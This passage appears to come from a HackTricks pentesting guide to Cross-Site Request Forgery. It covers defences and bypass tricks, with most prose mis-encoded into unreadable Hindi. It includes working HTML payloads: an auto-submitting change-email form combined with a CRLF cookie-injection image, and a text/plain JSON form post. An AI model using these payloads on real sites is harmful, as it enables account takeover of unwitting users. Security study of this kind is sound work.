38 KiB
CSRF (Cross Site Request Forgery)
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights
Engage with content that delves into the thrill and challenges of hacking
Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights
Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
Cross-Site Request Forgery (CSRF) Explained
Cross-Site Request Forgery (CSRF) рдПрдХ рдкреНрд░рдХрд╛рд░ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХрдордЬреЛрд░реА рд╣реИ рдЬреЛ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рдкрд╛рдИ рдЬрд╛рддреА рд╣реИред рдпрд╣ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рдЕрдирдЬрд╛рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдУрд░ рд╕реЗ рдХрд╛рд░реНрдп рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЙрдирдХреЗ рдкреНрд░рдорд╛рдгрд┐рдд рд╕рддреНрд░реЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░ред рдпрд╣ рд╣рдорд▓рд╛ рддрдм рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛, рдЬреЛ рдХрд┐рд╕реА рдкреАрдбрд╝рд┐рдд рдХреЗ рдкреНрд▓реЗрдЯрдлреЙрд░реНрдо рдореЗрдВ рд▓реЙрдЧ рдЗрди рд╣реИ, рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕рд╛рдЗрдЯ рдкрд░ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рд╕рд╛рдЗрдЯ рдлрд┐рд░ рдкреАрдбрд╝рд┐рдд рдХреЗ рдЦрд╛рддреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддреА рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛, рдлреЙрд░реНрдо рд╕рдмрдорд┐рдЯ рдХрд░рдирд╛, рдпрд╛ рдЫрд╡рд┐рдпреЛрдВ рдХреЛ рд▓рд╛рдирд╛ред
Prerequisites for a CSRF Attack
CSRF рдХрдордЬреЛрд░реА рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП, рдХрдИ рд╢рд░реНрддреЗрдВ рдкреВрд░реА рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП:
- рдПрдХ рдореВрд▓реНрдпрд╡рд╛рди рдХреНрд░рд┐рдпрд╛ рдХреА рдкрд╣рдЪрд╛рди рдХрд░реЗрдВ: рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдПрдХ рдРрд╕рд╛ рдХрд╛рд░реНрдп рдЦреЛрдЬрдирд╛ рд╣реЛрдЧрд╛ рдЬрд┐рд╕рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЬреИрд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб, рдИрдореЗрд▓ рдмрджрд▓рдирд╛, рдпрд╛ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдмрдврд╝рд╛рдирд╛ред
- рд╕рддреНрд░ рдкреНрд░рдмрдВрдзрди: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рд╕рддреНрд░ рдХреЗрд╡рд▓ рдХреБрдХреАрдЬрд╝ рдпрд╛ HTTP рдмреЗрд╕рд┐рдХ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╣реЗрдбрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдХреНрдпреЛрдВрдХрд┐ рдЕрдиреНрдп рд╣реЗрдбрд░ рдХрд╛ рдЗрд╕ рдЙрджреНрджреЗрд╢реНрдп рдХреЗ рд▓рд┐рдП рд╣реЗрд░рдлреЗрд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ред
- рдЕрдирдкреЗрдХреНрд╖рд┐рдд рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЕрднрд╛рд╡: рдЕрдиреБрд░реЛрдз рдореЗрдВ рдЕрдирдкреЗрдХреНрд╖рд┐рдд рдкреИрд░рд╛рдореАрдЯрд░ рдирд╣реАрдВ рд╣реЛрдиреЗ рдЪрд╛рд╣рд┐рдП, рдХреНрдпреЛрдВрдХрд┐ рд╡реЗ рд╣рдорд▓реЗ рдХреЛ рд░реЛрдХ рд╕рдХрддреЗ рд╣реИрдВред
Quick Check
рдЖрдк Burp рдореЗрдВ рдЕрдиреБрд░реЛрдз рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ CSRF рд╕реБрд░рдХреНрд╖рд╛ рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕реЗ рдкрд░реАрдХреНрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк Copy as fetch рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдиреБрд░реЛрдз рдХреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:
Defending Against CSRF
CSRF рд╣рдорд▓реЛрдВ рд╕реЗ рдмрдЪрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рдкреНрд░рддрд┐рдХреВрд▓ рдЙрдкрд╛рдп рд▓рд╛рдЧреВ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВ:
- SameSite рдХреБрдХреАрдЬрд╝: рдпрд╣ рд╡рд┐рд╢реЗрд╖рддрд╛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рд╕рд╛рде рдХреБрдХреАрдЬрд╝ рднреЗрдЬрдиреЗ рд╕реЗ рд░реЛрдХрддреА рд╣реИред SameSite рдХреБрдХреАрдЬрд╝ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдиреЗрдВред
- рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд░рд┐рд╕реЛрд░реНрд╕ рд╢реЗрдпрд░рд┐рдВрдЧ: рдкреАрдбрд╝рд┐рдд рд╕рд╛рдЗрдЯ рдХреА CORS рдиреАрддрд┐ рд╣рдорд▓реЗ рдХреА рд╡реНрдпрд╡рд╣рд╛рд░реНрдпрддрд╛ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░ рд╕рдХрддреА рд╣реИ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдпрджрд┐ рд╣рдорд▓реЗ рдХреЛ рдкреАрдбрд╝рд┐рдд рд╕рд╛рдЗрдЯ рд╕реЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкрдврд╝рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛред CORS рдмрд╛рдпрдкрд╛рд╕ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдиреЗрдВред
- рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рддреНрдпрд╛рдкрди: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдорд╛рдВрдЧрдирд╛ рдпрд╛ рдХреИрдкреНрдЪрд╛ рд╣рд▓ рдХрд░рдирд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдордВрд╢рд╛ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
- рд░реЗрдлрд░рд░ рдпрд╛ рдУрд░рд┐рдЬрд┐рди рд╣реЗрдбрд░ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдирд╛: рдЗрди рд╣реЗрдбрд░реЛрдВ рдХреЛ рдорд╛рдиреНрдп рдХрд░рдирд╛ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ рдЕрдиреБрд░реЛрдз рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рд╕реНрд░реЛрддреЛрдВ рд╕реЗ рдЖ рд░рд╣реЗ рд╣реИрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, URLs рдХреЛ рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рддреИрдпрд╛рд░ рдХрд░рдиреЗ рд╕реЗ рдЦрд░рд╛рдм рддрд░реАрдХреЗ рд╕реЗ рд▓рд╛рдЧреВ рдХреА рдЧрдИ рдЬрд╛рдВрдЪреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ:
http://mal.net?orig=http://example.com
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ (URL рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп URL рдХреЗ рд╕рд╛рде рд╕рдорд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ)http://example.com.mal.net
рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ (URL рд╡рд┐рд╢реНрд╡рд╕рдиреАрдп URL рдХреЗ рд╕рд╛рде рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ)- рдкреИрд░рд╛рдореАрдЯрд░ рдирд╛рдореЛрдВ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди: POST рдпрд╛ GET рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рдирд╛рдореЛрдВ рдХреЛ рдмрджрд▓рдирд╛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд╣рдорд▓реЛрдВ рдХреЛ рд░реЛрдХрдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИред
- CSRF рдЯреЛрдХрди: рдкреНрд░рддреНрдпреЗрдХ рд╕рддреНрд░ рдореЗрдВ рдПрдХ рдЕрджреНрд╡рд┐рддреАрдп CSRF рдЯреЛрдХрди рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдирд╛ рдФрд░ рдЗрд╕ рдЯреЛрдХрди рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рдЕрдЧрд▓реЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ рд░рдЦрдирд╛ CSRF рдХреЗ рдЬреЛрдЦрд┐рдо рдХреЛ рдХрд╛рдлреА рдХрдо рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЯреЛрдХрди рдХреА рдкреНрд░рднрд╛рд╡рд╢реАрд▓рддрд╛ рдХреЛ CORS рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдХреЗ рдмрдврд╝рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рдЗрди рд╕реБрд░рдХреНрд╖рд╛ рдЙрдкрд╛рдпреЛрдВ рдХреЛ рд╕рдордЭрдирд╛ рдФрд░ рд▓рд╛рдЧреВ рдХрд░рдирд╛ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдФрд░ рдЕрдЦрдВрдбрддрд╛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред
Defences Bypass
From POST to GET
рд╢рд╛рдпрдж рдЬрд┐рд╕ рдлреЙрд░реНрдо рдХрд╛ рдЖрдк рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рд╡рд╣ CSRF рдЯреЛрдХрди рдХреЗ рд╕рд╛рде POST рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рд╣реИ, рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдПрдХ GET рднреА рдорд╛рдиреНрдп рд╣реИ рдФрд░ рдпрджрд┐ рдЬрдм рдЖрдк GET рдЕрдиреБрд░реЛрдз рднреЗрдЬрддреЗ рд╣реИрдВ рддреЛ CSRF рдЯреЛрдХрди рдЕрднреА рднреА рдорд╛рдиреНрдп рд╣реИред
Lack of token
рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдПрдХ рддрдВрддреНрд░ рдХреЛ рд▓рд╛рдЧреВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЯреЛрдХрди рдХреА рд╡реИрдзрддрд╛ рдХреА рдЬрд╛рдВрдЪ рдХреА рдЬрд╛ рд╕рдХреЗ рдЬрдм рд╡реЗ рдореМрдЬреВрдж рд╣реЛрдВред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдПрдХ рдХрдордЬреЛрд░реА рддрдм рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИ рдЬрдм рдЯреЛрдХрди рдХреЗ рдЕрдиреБрдкрд╕реНрдерд┐рдд рд╣реЛрдиреЗ рдкрд░ рдорд╛рдиреНрдпрддрд╛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдЫреЛрдбрд╝ рджреА рдЬрд╛рддреА рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рдкрд░ рдЯреЛрдХрди рд▓реЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рд╣рдЯрд╛ рдХрд░ рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ, рди рдХрд┐ рдХреЗрд╡рд▓ рдЗрд╕рдХреЗ рдорд╛рди рдХреЛред рдЗрд╕рд╕реЗ рдЙрдиреНрд╣реЗрдВ рдорд╛рдиреНрдпрддрд╛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдФрд░ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рдПрдХ рдХреНрд░реЙрд╕-рд╕рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдз рдзреЛрдЦрд╛рдзрдбрд╝реА (CSRF) рд╣рдорд▓рд╛ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред
CSRF token is not tied to the user session
рдЕрдиреБрдкреНрд░рдпреЛрдЧ CSRF рдЯреЛрдХрдиреЛрдВ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рддреНрд░реЛрдВ рд╕реЗ рдирд╣реАрдВ рдЬреЛрдбрд╝рдиреЗ рдкрд░ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╕реБрд░рдХреНрд╖рд╛ рдЬреЛрдЦрд┐рдо рдкреНрд░рд╕реНрддреБрдд рдХрд░рддреЗ рд╣реИрдВред рдпреЗ рд╕рд┐рд╕реНрдЯрдо рдЯреЛрдХрдиреЛрдВ рдХреЛ рдПрдХ рд╡реИрд╢реНрд╡рд┐рдХ рдкреВрд▓ рдХреЗ рдЦрд┐рд▓рд╛рдл рдорд╛рдиреНрдп рдХрд░рддреЗ рд╣реИрдВ, рдмрдЬрд╛рдп рдЗрд╕рдХреЗ рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рдЯреЛрдХрди рдХреЛ рдЖрд░рдВрднрд┐рдХ рд╕рддреНрд░ рд╕реЗ рдмрдВрдзрд╛ рд╣реБрдЖ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПред
рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рддрд░рд╣ рд╕реЗ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реИрдВ:
- рдЕрдкрдиреЗ рдЦрд╛рддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд░реЗрдВред
- рд╡реИрдз CSRF рдЯреЛрдХрди рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ рд╡реИрд╢реНрд╡рд┐рдХ рдкреВрд▓ рд╕реЗред
- рдЗрд╕ рдЯреЛрдХрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдПрдХ CSRF рд╣рдорд▓реЗ рдореЗрдВ рдкреАрдбрд╝рд┐рдд рдХреЗ рдЦрд┐рд▓рд╛рдлред
рдпрд╣ рдХрдордЬреЛрд░реА рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рдкреАрдбрд╝рд┐рдд рдХреА рдУрд░ рд╕реЗ рдЕрдирдзрд┐рдХреГрдд рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдХреА рдЕрдкрд░реНрдпрд╛рдкреНрдд рдЯреЛрдХрди рдорд╛рдиреНрдпрддрд╛ рддрдВрддреНрд░ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реБрдПред
Method bypass
рдпрджрд┐ рдЕрдиреБрд░реЛрдз рдПрдХ "рдЕрдЬреАрдм" рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рд╡рд┐рдзрд┐ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХрд╛рдо рдХрд░ рд░рд╣реА рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдпрд╣ PUT рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЖрдк POST рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рднреЗрдЬреЗрдВ: https://example.com/my/dear/api/val/num?_method=PUT
рдпрд╣ POST рдЕрдиреБрд░реЛрдз рдХреЗ рдЕрдВрджрд░ _method рдкреИрд░рд╛рдореАрдЯрд░ рднреЗрдЬрдХрд░ рдпрд╛ рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рднреА рдХрд╛рдо рдХрд░ рд╕рдХрддрд╛ рд╣реИ:
- X-HTTP-Method
- X-HTTP-Method-Override
- X-Method-Override
Custom header token bypass
рдпрджрд┐ рдЕрдиреБрд░реЛрдз рдПрдХ рдХрд╕реНрдЯрдо рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдПрдХ рдЯреЛрдХрди рдЬреЛрдбрд╝ рд░рд╣рд╛ рд╣реИ рдЬрд┐рд╕реЗ CSRF рд╕реБрд░рдХреНрд╖рд╛ рд╡рд┐рдзрд┐ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ:
- рдХрд╕реНрдЯрдорд╛рдЗрдЬреНрдб рдЯреЛрдХрди рдФрд░ рд╣реЗрдбрд░ рдХреЗ рдмрд┐рдирд╛ рдЕрдиреБрд░реЛрдз рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВред
- рд╕рдЯреАрдХ рд╕рдорд╛рди рд▓рдВрдмрд╛рдИ рд▓реЗрдХрд┐рди рдЕрд▓рдЧ рдЯреЛрдХрди рдХреЗ рд╕рд╛рде рдЕрдиреБрд░реЛрдз рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░реЗрдВред
CSRF token is verified by a cookie
рдЕрдиреБрдкреНрд░рдпреЛрдЧ CSRF рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдЯреЛрдХрди рдХреЛ рдХреБрдХреА рдФрд░ рдЕрдиреБрд░реЛрдз рдкреИрд░рд╛рдореАрдЯрд░ рджреЛрдиреЛрдВ рдореЗрдВ рдбреБрдкреНрд▓рд┐рдХреЗрдЯ рдХрд░рдХреЗ рдпрд╛ рдПрдХ CSRF рдХреБрдХреА рд╕реЗрдЯ рдХрд░рдХреЗ рдФрд░ рдпрд╣ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд░рдХреЗ рд▓рд╛рдЧреВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдмреИрдХрдПрдВрдб рдореЗрдВ рднреЗрдЬрд╛ рдЧрдпрд╛ рдЯреЛрдХрди рдХреБрдХреА рдХреЗ рдЕрдиреБрд░реВрдк рд╣реИред рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдорд╛рдиреНрдп рдХрд░рддрд╛ рд╣реИ рдпрд╣ рдЬрд╛рдВрдЪрдХрд░ рдХрд┐ рдХреНрдпрд╛ рдЕрдиреБрд░реЛрдз рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рдЯреЛрдХрди рдХреБрдХреА рдореЗрдВ рдорд╛рди рдХреЗ рд╕рд╛рде рдореЗрд▓ рдЦрд╛рддрд╛ рд╣реИред
рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрджрд┐ рд╡реЗрдмрд╕рд╛рдЗрдЯ рдореЗрдВ рдРрд╕реЗ рджреЛрд╖ рд╣реИрдВ рдЬреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдкреАрдбрд╝рд┐рдд рдХреЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдореЗрдВ CSRF рдХреБрдХреА рд╕реЗрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ CRLF рдХрдордЬреЛрд░реА, рддреЛ рдпрд╣ рд╡рд┐рдзрд┐ CSRF рд╣рдорд▓реЛрдВ рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИред рд╣рдорд▓рд╛рд╡рд░ рдЗрд╕ рдкрд░ рд▓рд╛рдн рдЙрдард╛ рд╕рдХрддреЗ рд╣реИрдВ рдПрдХ рдзреЛрдЦрд╛рдзрдбрд╝реА рдЫрд╡рд┐ рд▓реЛрдб рдХрд░рдХреЗ рдЬреЛ рдХреБрдХреА рд╕реЗрдЯ рдХрд░рддреА рд╣реИ, рдЗрд╕рдХреЗ рдмрд╛рдж CSRF рд╣рдорд▓реЗ рдХреЛ рд╢реБрд░реВ рдХрд░рддреА рд╣реИред
рдиреАрдЪреЗ рдПрдХ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдХрд┐ рдПрдХ рд╣рдорд▓рд╛ рдХреИрд╕реЗ рд╕рдВрд░рдЪрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
<html>
<!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://example.com/my-account/change-email" method="POST">
<input type="hidden" name="email" value="asd@asd.asd" />
<input type="hidden" name="csrf" value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
<input type="submit" value="Submit request" />
</form>
<img src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror="document.forms[0].submit();"/>
</body>
</html>
{% hint style="info" %} рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ csrf рдЯреЛрдХрди рд╕рддреНрд░ рдХреБрдХреА рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ рддреЛ рдпрд╣ рд╣рдорд▓рд╛ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рдЖрдкрдХреЛ рдкреАрдбрд╝рд┐рдд рдХрд╛ рд╕рддреНрд░ рд╕реЗрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛, рдФрд░ рдЗрд╕рд▓рд┐рдП рдЖрдк рдЦреБрдж рдкрд░ рд╣рдорд▓рд╛ рдХрд░ рд░рд╣реЗ рд╣реЛрдВрдЧреЗред {% endhint %}
Content-Type рдкрд░рд┐рд╡рд░реНрддрди
рдЗрд╕ рдХреЗ рдЕрдиреБрд╕рд╛рд░, preflight рдЕрдиреБрд░реЛрдзреЛрдВ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП POST рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп рдпреЗ рдЕрдиреБрдордд Content-Type рдорд╛рди рд╣реИрдВ:
application/x-www-form-urlencoded
multipart/form-data
text/plain
рд╣рд╛рд▓рд╛рдВрдХрд┐, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд╕рд░реНрд╡рд░ рдХреА рд▓реЙрдЬрд┐рдХ рднрд┐рдиреНрди рд╣реЛ рд╕рдХрддреА рд╣реИ рдЬреЛ Content-Type рдХреЗ рдЙрдкрдпреЛрдЧ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЖрдкрдХреЛ рдЙрд▓реНрд▓реЗрдЦрд┐рдд рдорд╛рдиреЛрдВ рдФрд░ рдЕрдиреНрдп рдЬреИрд╕реЗ application/json
,text/xml
, application/xml
. рдХреЛ рдЖрдЬрдорд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред
рдЙрджрд╛рд╣рд░рдг ( рдпрд╣рд╛рдВ рд╕реЗ) JSON рдбреЗрдЯрд╛ рдХреЛ text/plain рдХреЗ рд░реВрдк рдореЗрдВ рднреЗрдЬрдиреЗ рдХрд╛:
<html>
<body>
<form id="form" method="post" action="https://phpme.be.ax/" enctype="text/plain">
<input name='{"garbageeeee":"' value='", "yep": "yep yep yep", "url": "https://webhook/"}'>
</form>
<script>
form.submit();
</script>
</body>
</html>
JSON рдбреЗрдЯрд╛ рдХреЗ рд▓рд┐рдП рдкреНрд░реАрдлреНрд▓рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛
рдЬрдм POST рдЕрдиреБрд░реЛрдз рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ JSON рдбреЗрдЯрд╛ рднреЗрдЬрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ HTML рдлреЙрд░реНрдо рдореЗрдВ Content-Type: application/json
рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реАрдзреЗ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИред рдЗрд╕реА рддрд░рд╣, рдЗрд╕ рд╕рд╛рдордЧреНрд░реА рдкреНрд░рдХрд╛рд░ рдХреЛ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП XMLHttpRequest
